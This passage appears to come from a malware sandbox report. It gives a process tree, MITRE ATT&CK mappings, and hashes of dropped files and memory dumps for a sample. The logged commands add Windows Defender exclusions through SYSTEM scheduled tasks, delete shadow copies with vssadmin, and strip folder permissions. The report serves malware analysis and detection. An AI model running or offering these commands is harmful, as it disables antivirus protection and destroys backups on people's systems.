    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:3652
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:4112
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:2148
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:860
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:5716
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:4216
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:5944
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3624
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:3468
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:5932
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:5756
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4928
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:4624
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:200
- C:\Program Files (x86)\OXuwqa\uLAuf2.exe
  "C:\Program Files (x86)\OXuwqa\uLAuf2.exe"
  2⤵
  PID:6000
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c vssadmin delete shadows /all /quiet
    3⤵
    PID:3668
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\OXuwqa" /inheritance:r
    3⤵
    PID:2032
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\OXuwqa" /inheritance:r
      4⤵
      Modifies file permissions
      PID:2884
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    PID:5716
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    PID:2876

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\GkVfJh" /t REG_DWORD /d 0 /f
1⤵
- Suspicious use of WriteProcessMemory
PID:5248
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\GkVfJh" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:2120

C:\Windows\system32\cmd.exe
cmd.exe
1⤵
PID:1380

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
1⤵
- Suspicious use of WriteProcessMemory
PID:2080
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:2228

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
1⤵
- Suspicious use of WriteProcessMemory
PID:3140
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:4220

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
1⤵
- Suspicious use of WriteProcessMemory
PID:5104
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:120

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
1⤵
- Suspicious use of WriteProcessMemory
PID:4716
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:2164

C:\Program Files (x86)\OXuwqa\uLAuf2.exe
"C:\Program Files (x86)\OXuwqa\uLAuf2.exe"
1⤵
PID:4484

C:\Program Files (x86)\OXuwqa\uLAuf2.exe
"C:\Program Files (x86)\OXuwqa\uLAuf2.exe"
1⤵
PID:5504

C:\Program Files (x86)\FYfqVlH0\j0bc33I.exe
"C:\Program Files (x86)\FYfqVlH0\j0bc33I.exe"
1⤵
PID:5752

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Installer Packages

T1546.016

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Installer Packages

T1546.016

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

File and Directory Permissions Modification

T1222

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

Clear Persistence

T1070.009

Modify Registry

T1112

System Binary Proxy Execution

T1218

Msiexec

T1218.007

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

e5976ae.rbs

Path C:\Config.Msi\e5976ae.rbs
Size 7KB
SHA256 61d10873a9ad69cc4e1c7f19e62400c14b97e4b5229d6e7027a0c5f605318315
MD5 8f72550bd04490c0392f4765791d3545
SHA1 50b63ac19041e409fb676f982eb1a218d975cabf
SHA512 bde46bbc1b4db08c00b1425679a355fb669dd173bead8864f8ee9187a522d19c67a1859c39542e0fa4e4f2efc5ba262e0781fc513eaf004de7d0e2294ddb1afb
SSDEEP 192:cfJCX6v8fbI1fbMSwF83JHsS15ePqvp5EAsrCRm8X:cefOfr0E
TLSH
T1BFF12F42B6448AE2F9D31F7AC7035B6A37B2D7E95314A30F44CD48701F427899FAA58A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

XPSPLOG.dll

Path C:\Program Files (x86)\FYfqVlH0\XPSPLOG.dll
Size 640KB
SHA256 4c62579886ac7b2188b786ba37fbd437d9f3caba879aeb96f3c29732f3e77813
MD5 ea07506c7f491ce575d4c15f07700c70
SHA1 4b7b2b1cd42dbb1a566d747cddfdfc11772796f7
SHA512 7e426f9a284034c682fec688afa497945681b6e86c30033ea504e58e3dfeb17e442b2525be361e0b936452a904756752c043abd84a4dc7589ecfcc1a018c11b4
SSDEEP 12288:6Qls2PLOuWhkdNkXDKLReoDhRyoTU0UoRclIp6W6HfSqwkRP:RTOuWhLK5RyoT9xcjWa
TLSH
T1EDD422926292552FFE4576720F8CFD6C71FAA0E8127ACD69B8C4758308B79F9603814F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

XPSPLOG.dll

Path C:\Program Files (x86)\OXuwqa\XPSPLOG.dll
Size 4.6MB
SHA256 b8545fc3474c53f69626e8b60e16c985f3a23a37d3df4030322308ba858b26f7
MD5 29f1737cf198b87a0d3fc06d60ad69bd
SHA1 4194adf8453d8272aca60f7fda83df03ac765bb9
SHA512 28895b75ec9e8ec257caa6a41b50976c3b3a9a9031866360cb7f1e11a8ed18d0e9692de3863550cb631be01e653962d06b890b40d5d434a8117287143e645356
SSDEEP 98304:yCMWmcKfST5t+BceThTHfaCCUqmJPCYvboB1fdmyk:BMWKfU+BcUTHCCCfqCiUffnk
TLSH
T17D263349BADB025DD89672704F6AFD7EB2B92CCC4204DC4DD44DE587E8B2729703A90E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

XPSPLOG.dll

Path C:\Program Files (x86)\OXuwqa\XPSPLOG.dll
Size 3.8MB
SHA256 1204f8bde1d1536af01473438387d82ee8532521d155bb2bc98951f9598805ef
MD5 1e538555e59f736499a822bddacb988b
SHA1 443a3ef98857e73764ff4f9c605ea5d0dfb4baf1
SHA512 0b78fbc2d6cc4b26e0567dd3916413c849577c1396cc5c450c1fe86f0f14d745721ad5308231fafdd0b4ada44515f43db09c09bd1a71493ce8f6b44c15dacbd5
SSDEEP 49152:3KLKP3cCMWmRqKJ1JNST5Z/nvsNBcVwNefYhOY+nEXOnqaiOKZCUqyn78eT1581L:yCMWmcKfST5t+BceThTHfaCCUqmJPCYY
TLSH
T13006330DBADB561EE85672785F2DFC3EB77929CC4308EC88D059748B90B2B79603950D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

XPSPLOG.dll

Path C:\Program Files (x86)\OXuwqa\XPSPLOG.dll
Size 3.0MB
SHA256 ec52cf36a238a14a2e3dd31890576c8c04bdba5841cd4f0f5dff50e3d0691846
MD5 2bd4a4710d5065d2a525b7148d103a88
SHA1 33ad59df58311eaddd9745e63b935e2600b64250
SHA512 cad11a4646754b74483132b51869e9079ade670fe0a47791ef23022cdd60a49975ac02d999a2ded0406adde531b317917cf63fcd9394c8d6622527d791bfb18d
SSDEEP 49152:3KLKP3cCMWmRqKJ1JNST5Z/nvsNBcVwNefYhOY+nEXOnqaiOKZCU0:yCMWmcKfST5t+BceThTHfaCCU0
TLSH
T1D4E533CAAA8B511AF62132B95F7DEC7DB6BC4AC4431CFC45D8A6314F4054BAE903CA4D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

image.png

Path C:\Program Files (x86)\OXuwqa\image.png
Size 4.9MB
SHA256 7df60840348548a7b2b29b852062e35d2057e6b99c458ae894b815df84bdea69
MD5 53a5dac315c1c63b1017c9ca932a3398
SHA1 85b11a8897be539b072851ddf35af0d4d9b4d241
SHA512 2c55ffecd7c8d142873104f3e2ed9578f92810970b8d64fcd68381fb53349fb6ef860e053023095670738921f3f903f861bfe680ad343e86ab26e9d094830c58
SSDEEP 98304:991laJeDIpYOvAtQKEvZ7KsEri5NeaJGlbvB7crmEVWgkALqQfub:9haJeU4t9Eh7KsThJG9RcrjkbAYb
TLSH
T16236333DE55E821A64C98CD13110C3EC856DA0639B2D9EEE8C6884EC4E3597CF57ADB3
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

thumbs.db

Path C:\Program Files (x86)\OXuwqa\thumbs.db
Size 358KB
SHA256 cbed3e6d0ed267c2368e1c84e5c80de96dfcf2ad5ef534bedd24262ea12edc38
MD5 93cc8037fe97b76c8f155007b40ae13c
SHA1 ecb5ff54457ca550f244c27883a62554e01214bb
SHA512 55569e1cf8e0c120eace252a6dd5997c9227764a529eedd7a65c284cec1c8952a6b2b08aaad5f34531041927a2ac566520fc698ae1da231dee086fe12f9cf658
SSDEEP 6144:CiACk/u6n9aBOmmD1oQFu0oMOxKnJPWyD9Dcqt1oFsnrqW7mb/:d8u69CghoQxoMTFQqtKFCz7mb/
TLSH
T1BA74F268E6651EFE0E175FECE04F58AE9A8FD9E302C900252BF1C6D1CA106E4941FD5E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

uLAuf2.exe

Path C:\Program Files (x86)\OXuwqa\uLAuf2.exe
Size 145KB
SHA256 6d6ba2bc9ad414837826f7278bc3e0116f1aeda02d0c2284ed65819f5d9180a8
MD5 5251b98614acffe5c856f4039ca03da3
SHA1 c80ed6716e89d4862f28ebbc130ec5aa362db963
SHA512 d750c9adb08d9525ee9948c0c18c96f0c9520068aa4aa24885ac0d98790a6cc0a8ce0e71e1c669acd4623e0aabfc08c11c02be403f275b01aa4277c4ddab3302
SSDEEP 3072:VafgcZGuY2TqWLGzwRC7kll1xtBQDTCCvtzaYPFPR/M:Yz8upLGaPQDnFzaYPFdM
TLSH
T16AE30852B6808460F76A0B311864F9E44A6EED3C1AD0E95FF2787D3A1E311C38A7756F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

UxEnhance64.dll

Path C:\Users\Public\GkVfJh\UxEnhance64.dll
Size 3.1MB
SHA256 61e8d567703368a07937cc6eb11fde6bc840497827d2bfb3aa86e30103d489cd
MD5 ac45da850d84c40db0445db179bb9dcf
SHA1 4581e7af4585d27be1e89748e52339e13482581a
SHA512 a9dea80afd6cdf583ecf88830db8369876a1e582704d20af892b213b50078c7e99c6d727172e3ac7fd0df8f1961845bc74eb830077e138223ebe5e3cdde40100
SSDEEP 49152:P9KpI8cBa0kj6BK0x3TiMQclkGo2PXk6rkwuuWG/+WizBedfb77N3SnKrKB+E:P9m29xx3Tiqt06ox6+z2rNNrKoE
TLSH
T18DE523E5B6D739F6D023CBF4DA62A1AD70393F505F635C5F3B8929014E62228973A390
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

adoresd.dat

Path C:\Users\Public\GkVfJh\adoresd.dat
Size 4.8MB
SHA256 ef53c0ba54bbdf174e9a25a75b06c0e291b5a63534a7e3f16607d7a6862df1ba
MD5 47fb8cfe0516df91ffb7a0152aa69866
SHA1 32c847e0937df49386ea38beb58ed9eee668833a
SHA512 9f0481f6a13cf2cfeb192aa497263af85d85b120f59f61b86b5963ee60883cae4215eb7388c44563378edffe26793ed3097f4e8c15bcce440abeba1434ad9d93
SSDEEP 98304:CuZ630UjjOt6udZuYb7Ad2WAqSFmtNYNF/ltN3fjZgRnXxs:/QDPnORb7AdPEm7Y7ltlVgxs
TLSH
T13C363339536D9C62DDC7A0F8A49D4596FF683D60FAE2A006B47C1D213015DFB986FE08
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

msadox.tb

Path C:\Users\Public\GkVfJh\msadox.tb
Size 8KB
SHA256 538bf12b0ebcbf9f8b721f0396738d61b15a792acddf0556d999217a364c3122
MD5 40d82e8e3e5a4737bb6ff5e73653c79e
SHA1 eb3130c28cd00c59c781887239276ea733716e7d
SHA512 fb8ce53eb31f3ac9ea7721a3a7e836dd31b17c819e01ce7769840ba537b65a026256a8fba9aa7b872545e4c770caf5aef62b7193d940e0c7c0b6275eaddf337b
SSDEEP 192:rqbZajnZ45X1q3JXglD+3vR8cwNhIMCGe2y0PQp:rsZqZOXQ3uqvR2Kfzp
TLSH
T1C5029E06D7A20DC3D3016C71CD9EB2F5AB13A1DADA3926719C67D4C167072DD2CE624D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

zJnlz2.exe

Path C:\Users\Public\GkVfJh\zJnlz2.exe
Size 135KB
SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
MD5 9ec587911e501b73b7cf09f05d0ae17d
SHA1 5b62403cc9a668c6e5c70ace177fd54fcc4c5936
SHA512 d05468a472373815c46ccb46ec743408365d24982d10d8a23ee0036c28cf3dacd05d74304ef2d4b7118f91ff3f631f676b2e86ddee92a02cf988b0d3c6247847
SSDEEP 3072:MmhXb5pgtiaRENEErO9Uj4OqhhUvB4BNgQaJ:MmjgtiayGErsUKh3To
TLSH
T1D0D38C2776A474F9E1778635C8511A1AE772B8760770CB9F03A442A62F237D19E3EF20
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

destopbak.ini

Path C:\Users\Public\Music\destopbak.ini
Size 2B
SHA256 dd1e2826c0124a6d4f7397a5a71f633928926c0608b62fb9e615ba778acc39ff
MD5 7e74f75663e5b5a4f3452a4c603ee45d
SHA1 d5114b086b721f2c87ea7152025792958ab4c629
SHA512 2f5d0d45593487bebc2ccf968eaf2a4a3bde1d5a29c7c2b5ad411e041c0d3b7a46be439ed7083093057a96030683b9defbed1a2ef7882b3e64cf3fbc7c9cf12f
MD5 SHA1 SHA512

Submit Download

MSI7D17.tmp

Path C:\Windows\Installer\MSI7D17.tmp
Size 7.3MB
SHA256 ab27bcc00bf7397f7f0bcb989847d17c0b3c1d8d6398db5b1b4984acb0482306
MD5 f4c412c6ef8dbdd8998b9c3f52339b3f
SHA1 6427462d476d7550268f2fd8ebd4914d60ea1ef0
SHA512 3d6038f044486dcc9654333c74058e1bad7bbf6ec758962f62c38e32d9d699d17c8a880b4bec44f954ea95bcc689e34e52daac8f4703cfd703657c596bda471e
SSDEEP 196608:uImeVrS2ssohTmflgU6nAm2L6HR72ChTXoaTGb2+:5VN5oZmmAFOtJTGbN
TLSH
T1E97633A6BEC5B0B0D01BC77A400223AF712DB7CBEB359C1675ED799C4DB221194B634A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

e5976ad.msi

Path C:\Windows\Installer\e5976ad.msi
Size 7.4MB
SHA256 eac9597153bf17bea92b1478b3b585e3a82d084dc84a97bf359a134289c6cf0f
MD5 fe87ca6414094482b9ce161cce802c57
SHA1 ebaa7cf2a976a6f45bb75b5e01354d5f848ad51d
SHA512 e59883e0f64e161545624a3d4f702164212a57ac0f3c16a691313315296fc527d88b4492cec64da65c0d74c524751778d5af57f4616bec4d56b2a4f2e00b2213
SSDEEP 196608:kImeVrS2ssohTmflgU6nAm6L6HR72ChTXoaTGb22:TVN5oZmmAxOtJTGbF
TLSH
T1A67633A6BEC4B5B0D007C77A400263AF712DBFCBEB359C1676E9799C5D7232094B2249
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

metadata-2

Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
Size 26.1MB
SHA256 196490f3b9578d0c9be1f73c41b37f61ea89a40ce8cf7943f5a7cb22d16c2ea5
MD5 623901ea404872e9ae2b4a22b43e0fe8
SHA1 04b614c7c57f084a1914eb3c1cc3b29c68a79a19
SHA512 8d0b4ac3b1c4e1df090e93b181910b4afafa4d81a28788e609146a8805d5ae4ed3fa811dba8f75605926326e3716a5bd61ddb1bab2878e0a7967f1218c0bc451
SSDEEP 24576:yFo3DMPzdoO/vvTL/Sg88iFQvrumHb7P0BKudxSUKpyKpb9cMoRWclmd4+O:IHA
TLSH
T15C57B42436F92200E7F79E3DA8F06A234D397D5BAC15DE8D45511B4E0822F71E872F6A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

{00267a85-b6e7-4948-a9a2-ef87e729b86f}_OnDiskSnapshotProp

Path \??\Volume{c61f3bad-0000-0000-0000-d08302000000}\System Volume Information\SPP\OnlineMetadataCache\{00267a85-b6e7-4948-a9a2-ef87e729b86f}_OnDiskSnapshotProp
Size 6KB
SHA256 f44a3343ce6a0611cbb6eadb9d9d80da479f42b612c862cd49636a265d90326d
MD5 fe4022d9522d67aba208b8d34bf8a3ab
SHA1 762c7d34e94749680b205ea2a3c310fca2db52e9
SHA512 9df0a04afe038c6c6a66303cbc666092c036f9f8a4388f913f7666d199a1abb687f7e70f47c6d660c31d78def3f11611cb7f0ea12bbeb254ed5bc2dd0ffc16e0
SSDEEP 96:FZmn67YCvc6DD84LTHzbOHXOHBlBRQn8Sc9XE56tOSVQpu:Lmndeb++uVm
TLSH
T138D178085AE54711E2B3AB3129F14557A877B911EF33CB8E0198238E6631A10F935F6B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

xxxx.ini

Path \??\c:\xxxx.ini
Size 2B
SHA256 7eb70257593da06f682a3ddda54a9d260d4fc514f645237f5ca74b08f8da61a6
MD5 81051bcc2cf1bedf378224b0a93e2877
SHA1 ba8ab5a0280b953aa97435ff8946cbcbb2755a27
SHA512 1b302a2f1e624a5fb5ad94ddc4e5f8bfd74d26fa37512d0e5face303d8c40eee0d0ffa3649f5da43f439914d128166cb6c4774a7caa3b174d7535451eb697b5d
MD5 SHA1 SHA512

Submit Download

memory/4508-104-0x0000018669E10000-0x0000018669E1A000-memory.dmp

Download

memory/4508-103-0x0000018669EA0000-0x0000018669F52000-memory.dmp

Download

memory/4508-102-0x0000018669DF0000-0x0000018669E0E000-memory.dmp

Download

memory/4508-99-0x0000018669830000-0x0000018669852000-memory.dmp

Download

memory/4652-91-0x0000018693220000-0x0000018693ADE000-memory.dmp

Download

memory/4652-54-0x00007FFC8B390000-0x00007FFC8B392000-memory.dmp

Download

memory/4652-87-0x00000186927C0000-0x000001869284A000-memory.dmp

Download

memory/4652-88-0x00000186927C0000-0x000001869284A000-memory.dmp

Download

memory/4652-86-0x00000186927C0000-0x000001869284A000-memory.dmp

Download

memory/4652-85-0x00000186927C0000-0x000001869284A000-memory.dmp

Download

memory/4652-77-0x0000018693220000-0x0000018693ADE000-memory.dmp

Download

memory/4652-94-0x0000018693220000-0x0000018693ADE000-memory.dmp

Download

memory/4652-93-0x0000018693220000-0x0000018693ADE000-memory.dmp

Download

memory/4652-70-0x0000018693220000-0x0000018693ADE000-memory.dmp

Download

memory/4652-69-0x0000018693220000-0x0000018693ADE000-memory.dmp

Download

memory/4652-68-0x0000018693220000-0x0000018693ADE000-memory.dmp

Download

memory/4652-67-0x0000018693220000-0x0000018693ADE000-memory.dmp

Download

memory/4652-63-0x0000018693220000-0x0000018693ADE000-memory.dmp

Download

memory/4652-62-0x00007FFC8B3A0000-0x00007FFC8B3A2000-memory.dmp

Download

memory/4652-83-0x00000186926C0000-0x000001869270E000-memory.dmp

Download

memory/4652-60-0x0000018693220000-0x0000018693ADE000-memory.dmp

Download

memory/4652-55-0x00007FFC67920000-0x00007FFC67E3E000-memory.dmp

Download

memory/5504-247-0x00000000013F0000-0x00000000013F1000-memory.dmp

Download

memory/5600-15-0x00007FFC67810000-0x00007FFC67E3F000-memory.dmp

Download

memory/5600-18-0x00007FFC75AE0000-0x00007FFC75AF2000-memory.dmp

Download

memory/5600-14-0x00007FFC8B390000-0x00007FFC8B392000-memory.dmp

Download

memory/5600-40-0x00007FFC75AE0000-0x00007FFC75AF2000-memory.dmp

Download

memory/6000-203-0x0000000002730000-0x0000000002744000-memory.dmp

Download

memory/6000-204-0x0000000003270000-0x0000000003A6F000-memory.dmp

Download

memory/6000-192-0x0000000003270000-0x0000000003A6F000-memory.dmp

Download

memory/6000-235-0x0000000003270000-0x0000000003A6F000-memory.dmp

Download

memory/6000-184-0x0000000000B00000-0x0000000000B01000-memory.dmp

Download

memory/6000-215-0x0000000010000000-0x0000000010061000-memory.dmp

Download

memory/6000-196-0x0000000003270000-0x0000000003A6F000-memory.dmp

Download

memory/6000-189-0x0000000003270000-0x0000000003A6F000-memory.dmp

Download

memory/6000-239-0x0000000003270000-0x0000000003A6F000-memory.dmp

Download

memory/6000-185-0x0000000074E40000-0x000000007558A000-memory.dmp

Download

memory/6000-191-0x0000000001060000-0x0000000001061000-memory.dmp

Download